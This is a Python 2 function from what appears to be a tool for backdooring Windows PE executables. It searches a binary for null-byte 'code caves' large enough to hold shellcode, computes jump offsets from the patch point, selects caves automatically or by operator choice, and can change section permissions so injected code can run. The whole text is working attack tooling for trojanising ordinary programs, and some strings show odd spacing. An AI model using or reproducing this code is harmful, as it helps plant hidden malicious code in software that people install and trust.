'This function finds all code caves, allowing the user
to pick the cave for injecting shellcode.'

def find_cave(self):

    self.flItms['len_allshells'] = ()
    if (self.flItms['cave_jumping'] is True):
        for item in self.flItms['allshells']:
            self.flItms['len_allshells'] += (len(item),)
        self.flItms['len_allshells'] += (len(self.flItms['resumeExe']),)
        SIZE_CAVE_TO_FIND = sorted(self.flItms['len_allshells'])[0]
    else:
        SIZE_CAVE_TO_FIND = self.flItms['shellcode_length']
        self.flItms['len_allshells'] = (self.flItms['shellcode_length'],)
    print ('[*]    Looking    for    caves    that    will    fit    the    minimum    shellcode    length    of    %s' % SIZE_CAVE_TO_FIND)
    print '[*]    All    caves    lengths:    ', ',    '.join([str(i) for i in self.flItms['len_allshells']])
    Tracking = 0
    count = 1
    caveTracker = []
    caveSpecs = []
    self.binary.seek(0)
    if (self.PATCH_METHOD == 'automatic'):
        cave_set = set()
        for (k, item) in enumerate(sorted(self.flItms['len_allshells'])):
            cave_buffer = ('\x00' * (item + 8))
            p = re.compile(cave_buffer)
            self.binary.seek(0)
            for m in p.finditer(self.binary.read()):
                caveSpecs.append((m.start() + 4))
                caveSpecs.append(((m.start() + item) + 8))
                caveTracker.append(caveSpecs)
                caveSpecs = []
        self.binary.seek(0)
    else:
        while True:
            try:
                s = struct.unpack('<b', self.binary.read(1))[0]
            except:
                break
            if (s == 0):
                if (count == 1):
                    BeginCave = Tracking
                count += 1
            else:
                if (count >= SIZE_CAVE_TO_FIND):
                    caveSpecs.append((BeginCave + 4))
                    caveSpecs.append((Tracking - 4))
                    caveTracker.append(caveSpecs)
                count = 1
                caveSpecs = []
            Tracking += 1
    pickACave = {}
    for (i, caves) in enumerate(caveTracker):
        i += 1
        for section in self.flItms['Sections']:
            sectionFound = False
            try:
                if ((caves[0] >= section[4]) and (caves[1] <= (section[3] + section[4])) and ((caves[1] - caves[0]) >= SIZE_CAVE_TO_FIND)):
                    if (self.VERBOSE is True):
                        print 'Inserting    code    in    this    section:', section[0]
                        print '->Begin    Cave', hex(caves[0])
                        print '->End    of    Cave', hex(caves[1])
                        print 'Size    of    Cave    (int)', (caves[1] - caves[0])
                        print 'SizeOfRawData', hex(section[3])
                        print 'PointerToRawData', hex(section[4])
                        print 'End    of    Raw    Data:', hex((section[3] + section[4]))
                        print ('*' * 50)
                    JMPtoCodeAddress = ((((section[2] + caves[0]) - section[4]) - 5) - self.flItms['PatchLocation'])
                    sectionFound = True
                    pickACave[i] = [section[0], hex(caves[0]), hex(caves[1]), (caves[1] - caves[0]), hex(section[4]), hex((section[3] + section[4])), JMPtoCodeAddress, section[1], section[2]]
                    break
            except:
                print '-End    of    File    Found..'
                break
            if (sectionFound is False):
                if (self.VERBOSE is True):
                    print 'No    section'
                    print '->Begin    Cave', hex(caves[0])
                    print '->End    of    Cave', hex(caves[1])
                    print 'Size    of    Cave    (int)', (caves[1] - caves[0])
                    print ('*' * 50)
            JMPtoCodeAddress = ((((section[2] + caves[0]) - section[4]) - 5) - self.flItms['PatchLocation'])
            try:
                pickACave[i] = [None, hex(caves[0]), hex(caves[1]), (caves[1] - caves[0]), None, None, JMPtoCodeAddress]
            except:
                print 'EOF'
    CavesPicked = {}
    if (self.PATCH_METHOD.lower() == 'automatic'):
        print '[*]    Attempting    PE    File    Automatic    Patching'
        availableCaves = {}
        for (caveNumber, caveValues) in pickACave.iteritems():
            if (caveValues[0] is None):
                continue
            elif (caveValues[3] >= 50):
                availableCaves[caveNumber] = caveValues[3]
        payloadDict = {}
        for (k, item) in enumerate(self.flItms['len_allshells']):
            payloadDict[k] = item
        while True:
            trackSectionName = set()
            for ref in sorted(payloadDict.items(), key=operator.itemgetter(1), reverse=True):
                _tempCaves = {}
                if (_tempCaves == {}):
                    for (refnum, caveSize) in availableCaves.iteritems():
                        if (caveSize >= ref[1]):
                            _tempCaves[refnum] = caveSize
                    if (_tempCaves == {}):
                        break
                selection = choice(_tempCaves.keys())
                print '[!]    Selected:', (str(selection) + ':'), 'Section    Name:    {0};    Cave    begin:    {1}    End:    {2};    Cave    Size:    {3};    Payload    Size:    {4}'.format(pickACave[selection][0], pickACave[selection][1], pickACave[selection][2], pickACave[selection][3], ref[1])
                trackSectionName.add(pickACave[selection][0])
                popSet = set()
                for (cave_ref, cave_vals) in availableCaves.iteritems():
                    if ((pickACave[cave_ref][1] <= pickACave[selection][1] <= pickACave[cave_ref][2]) or (pickACave[cave_ref][1] <= pickACave[selection][2] <= pickACave[cave_ref][2]) or (pickACave[selection][1] <= pickACave[cave_ref][1] <= pickACave[selection][2]) or (pickACave[selection][1] <= pickACave[cave_ref][2] <= pickACave[selection][2])):
                        popSet.add(cave_ref)
                for item in popSet:
                    availableCaves.pop(item)
                if (selection in availableCaves.keys()):
                    availableCaves.pop(selection)
                CavesPicked[ref[0]] = pickACave[selection]
            break
        if (len(CavesPicked) != len(self.flItms['len_allshells'])):
            print '[!]    Did    not    find    suitable    caves    -    trying    next    method'
            if (self.flItms['cave_jumping'] is True):
                return 'single'
            else:
                return 'append'
        if (self.CHANGE_ACCESS is True):
            for cave in trackSectionName:
                self.change_section_flags(cave)
    elif (self.PATCH_METHOD.lower() == 'manual'):
        print "############################################################\nThe    following    caves    can    be    used    to    inject    code    and    possibly\ncontinue    execution.\n**Don't    like    what    you    see?    Use    jump,    single,    append,    or    ignore.**\n############################################################"
        for (k, item) in enumerate(self.flItms['len_allshells']):
            print '[*]    Cave    {0}    length    as    int:    {1}'.format((k + 1), item)
            print '[*]    Available    caves:    '
            if (pickACave == {}):
                print "[!!!!]    No    caves    available!    Use    'j'    for    cave    jumping    or"
                print "[!!!!]    'i'    or    'q'    for    ignore."
            for (ref, details) in pickACave.iteritems():
                if (details[3] >= item):
                    print (str(ref) + '.'), 'Section    Name:    {0};    Section    Begin:    {4}    End:    {5};    Cave    begin:    {1}    End:    {2};    Cave    Size:    {3}'.format(details[0], details[1], details[2], details[3], details[4], details[5], details[6])
            while True:
                try:
                    self.CAVE_MINER_TRACKER
                except:
                    self.CAVE_MINER_TRACKER = 0
                print ('*' * 50)
                selection = raw_input('[!]    Enter    your    selection:    ')
                try:
                    selection = int(selection)
                    print ('[!]    Using    selection:    %s' % selection)
                    try:
                        if (self.CHANGE_ACCESS is True):
                            if (pickACave[selection][0] is not None):
                                self.change_section_flags(pickACave[selection][0])
                        CavesPicked[k] = pickACave[selection]
                        break
                    except:
                        print '[!!!!]    User    selection    beyond    the    bounds    of    available    caves.'
                        print '[!!!!]    Try    a    number    or    the    following    commands:'
                        print '[!!!!]    append    or    a,    jump    or    j,    ignore    or    i,    single    or    s'
                        print '[!!!!]    TRY    AGAIN.'
                        continue
                except:
                    pass
                breakOutValues = ['append', 'jump', 'single', 'ignore', 'a', 'j', 's', 'i', 'q']
                if (selection.lower() in breakOutValues):
                    return selection
    else:
        print '[!]    Invalid    Patching    Method'
        return None
    return CavesPicked
